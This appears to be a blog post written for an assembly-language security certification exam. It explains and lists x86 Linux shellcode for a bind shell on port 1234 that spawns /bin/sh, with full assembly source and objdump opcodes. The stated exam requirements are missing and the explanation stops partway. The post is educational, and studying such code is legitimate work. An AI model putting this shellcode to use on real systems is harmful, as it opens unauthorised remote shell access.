Booj thoughts on security

SLAE Exercise 1 - Bind Shell

Introduction

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification exam.

Student ID: SLAE - 1193

The format of the first exam was to write shellcode with the following requirements:

All shellcode is compiled in the following manner:

nasm -f elf32 -o ex1.o ex1.asm  
ld -melf_i386 -o ex1 ex1.o  

Theory

The general pseudo-code for a bind shell takes the following form. Note that this is not executable or valid C in any form and is merely intended to demonstrate the theory:

sock = socket(AF_INET, SOCK_STREAM, 0)
sockaddr = {AF_INET, port, address}
bind = bind(sock, sockaddr, len(sockaddr))
listener = listen(bind, 0)
accepted = accept(sock, 0, 0)
dup2(accepted, 0)
dup2(accepted, 1)
execve('/bin/sh', 0, 0)

We create a socket and sockaddr structure with a port and address. By specifying SOCK_STREAM we ensure it’s a TCP connection.

We then bind this socket to a port on our machine.

The listen syscall waits for a connection and once a connection is established, the accept syscall will accept that connection and return a file descriptor to that connection.

At this point we perform two dup2 syscalls, which duplicate stdin and stdout on that file descriptor, so once we execute /bin/sh we can control it over the connection.

socketcall

A large number of the functions used in connecting via sockets is exposed via a single syscall known as the socketcall. It takes the form:

int socketcall(int call, unsigned long *args);

From the Linux man pages:

socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call.

All parameters to the socketcall’s are passed via the stack, so we generally push those to the stack, but call the socketcall syscall with the appropriate registers set. It’s syscall number if 0x66.

Individual call numbers are found in /usr/include/linux/net.h.

Socket(AF_INET, SOCK_STREAM, 0)

Firstly we set up a socket. All connections will act through this.

xor eax, eax  
xor ebx, ebx  
mov al, 0x66  
mov bl, 1  
  
xor ecx, ecx  
push ecx 			; protocol -> 0  
push 1 				; SOCK_STREAM  
push 2				;AF_INET  
mov ecx, esp  
  
int 0x80  

At the first stage of the shellcode we xor the eax and ebx registers. This is merely to 0 them out but without the presence of null-bytes. The syscall value for socketcall is 0x66 so we move that value into al again to avoid null-bytes. The socket call of socketcall requires 1 within ebx so we mov that into bl.

We set ecx to 0 so it can act as our protocol by xoring it with itself.AF_INET is equal to 2 and SOCK_STREAM is equal to 1 and the protocol is just 0. Syscall parameters are pushed onto the stack in reverse order (so that they’re read off in the correct order) so we push the protocol, SOCK_STREAM and AF_INET in that order.

sockaddr = {AF_INET, port, address}

We now need to set up a sockaddr structure. This will be the structure which holds the parameters for the port and address we bind to.

xor ecx, ecx  
push ecx ; ADDR_ANY  
push word 0xD204 ; port 1234 little endian  
push word 2 ; AF_INET  
  
mov ecx, esp  

Again we push each parameter in reverse order, so firstly we push the address. We want to bind the 0.0.0.0 or INADDR_ANY, which is defined as simply 0. For this we zero out the ecx register and push it.

We then want to bind to port 1234, but we need to define this in little endian order. The hex form of 1234 is 0x04D2 so in little-endian that is 0xD204, the bytes effectively reversed. AF_INET is defined as 2, so we push that next.

We then move esp, the current stack position into ecx, effectively saving the address of our structure in a register so we can reference it in the next stage.

bind = bind(sock, sockaddr, len(sockaddr))

Here we bind our socket to a port and address.

mov edx, eax  

xor eax, eax  
xor ebx, ebx  
mov al, 0x66  
mov bl, 2 ; bind

push 16; socklen_t addrlen  
push ecx; sockaddr *addr  
push edx ; sockfd   
int 0x80  

At this point eax has not been touched so it will contain the file descriptor of the socket we created. We move this into edx to save it.

We then set up our registers again for a bind syscall which takes the form

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

For this we know the length of our socket structure, which is 16 as we pushed on byte and two words. We then push ecx which contains the address of the previously created sockaddr struct and edx which contains the socket

Shellcode

Below I have included the full asm file used to generate the bind shell:

global _start  
  
section .text  
_start:  
; /usr/include/linux/net.h  
; socket(int domain, int type, int protocol)  
; socket(AF_INET, SOCK_STREAM, 0)  
; socketcall(int call, *args)  
; socketcall(SYS_SOCKET, *args)  
xor eax, eax  
xor ebx, ebx  
mov al, 0x66  
mov bl, 1  
  
xor ecx, ecx  
push ecx ; protocol -> 0  
push 1 ; SOCK_STREAM  
push 2; AF_INET  
mov ecx, esp  
  
int 0x80  
  
mov edx, eax  
  
; socketcall(SYS_BIND, *args)  
; bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)  
xor eax, eax  
xor ebx, ebx  
mov al, 0x66  
mov bl, 2 ; bind  
  
; build sockaddr_in  
xor ecx, ecx  
push ecx ; ADDR_ANY  
push word 0xD204 ; port 1234 little endian  
push word 2 ; AF_INET  
mov ecx, esp  
  
push 16; socklen_t addrlen  
push ecx; sockaddr *addr  
push edx ; sockfd  
  
mov ecx, esp  
int 0x80  
  
  
;sys_listen  
;int listen(int sockfd, int backlog);  
xor eax, eax  
  
push eax ; backlog -> 0  
push edx ; sockfd -> saved sockfd  
mov al, 0x66  
mov bl, 4  
mov ecx, esp  
int 0x80  
  
; accept(3, 0, 0)  
xor eax, eax  
xor ebx, ebx  
push eax  
push eax  
push edx  
  
mov al, 0x66  
mov bl, 5  
int 0x80  
  
mov edx, eax ; save accept sockfd  
  
; dup2  
xor eax,eax  
xor ecx, ecx  
  
mov al, 63  
mov ebx, edx  
inc ecx  
int 0x80  
  
xor eax, eax  
mov al, 63  
mov ebx, edx  
xor ecx, ecx  
int 0x80  
  
;execve  
xor eax, eax  
mov al, 11  
  
; push /bin/sh to the stack  
; much more common than /bin/bash  
; e.g. containerisation solutions  
xor ebx, ebx  
push ebx ; \x00\x00\x00\x00  
push 0x68732f6e ; n/sh  
push 0x69622f2f ; //bi  
mov ebx, esp  
xor ecx, ecx  
xor edx, edx  
int 0x80  

To confirm the shellcode is free of nullbytes, we objdump the binary and get the disassembly as well as the bytes:

ex1: file format elf32-i386  
  
  
Disassembly of section .text:  
  
08048060 <_start>:  
8048060: 31 c0 xor %eax,%eax  
8048062: 31 db xor %ebx,%ebx  
8048064: b0 66 mov $0x66,%al  
8048066: b3 01 mov $0x1,%bl  
8048068: 31 c9 xor %ecx,%ecx  
804806a: 51 push %ecx  
804806b: 6a 01 push $0x1  
804806d: 6a 02 push $0x2  
804806f: 89 e1 mov %esp,%ecx  
8048071: cd 80 int $0x80  
8048073: 89 c2 mov %eax,%edx  
8048075: 31 c0 xor %eax,%eax  
8048077: 31 db xor %ebx,%ebx  
8048079: b0 66 mov $0x66,%al  
804807b: b3 02 mov $0x2,%bl  
804807d: 31 c9 xor %ecx,%ecx  
804807f: 51 push %ecx  
8048080: 66 68 04 d2 pushw $0xd204  
8048084: 66 6a 02 pushw $0x2  
8048087: 89 e1 mov %esp,%ecx  
8048089: 6a 10 push $0x10  
804808b: 51 push %ecx  
804808c: 52 push %edx  
804808d: 89 e1 mov %esp,%ecx  
804808f: cd 80 int $0x80  
8048091: 31 c0 xor %eax,%eax  
8048093: 50 push %eax  
8048094: 52 push %edx  
8048095: b0 66 mov $0x66,%al  
8048097: b3 04 mov $0x4,%bl  
8048099: 89 e1 mov %esp,%ecx  
804809b: cd 80 int $0x80  
804809d: 31 c0 xor %eax,%eax  
804809f: 31 db xor %ebx,%ebx  
80480a1: 50 push %eax  
80480a2: 50 push %eax  
80480a3: 52 push %edx  
80480a4: b0 66 mov $0x66,%al  
80480a6: b3 05 mov $0x5,%bl  
80480a8: cd 80 int $0x80  
80480aa: 89 c2 mov %eax,%edx  
80480ac: 31 c0 xor %eax,%eax  
80480ae: 31 c9 xor %ecx,%ecx  
80480b0: b0 3f mov $0x3f,%al  
80480b2: 89 d3 mov %edx,%ebx  
80480b4: 41 inc %ecx  
80480b5: cd 80 int $0x80  
80480b7: 31 c0 xor %eax,%eax  
80480b9: b0 3f mov $0x3f,%al  
80480bb: 89 d3 mov %edx,%ebx  
80480bd: 31 c9 xor %ecx,%ecx  
80480bf: cd 80 int $0x80  
80480c1: 31 c0 xor %eax,%eax  
80480c3: b0 0b mov $0xb,%al  
80480c5: 31 db xor %ebx,%ebx  
80480c7: 53 push %ebx  
80480c8: 68 6e 2f 73 68 push $0x68732f6e  
80480cd: 68 2f 2f 62 69 push $0x69622f2f  
80480d2: 89 e3 mov %esp,%ebx  
80480d4: 31 c9 xor %ecx,%ecx  
80480d6: 31 d2 xor %edx,%edx  
80480d8: cd 80 int $0x80  

As we can see our shellcode is completely free of null-bytes!

comments powered by Disqus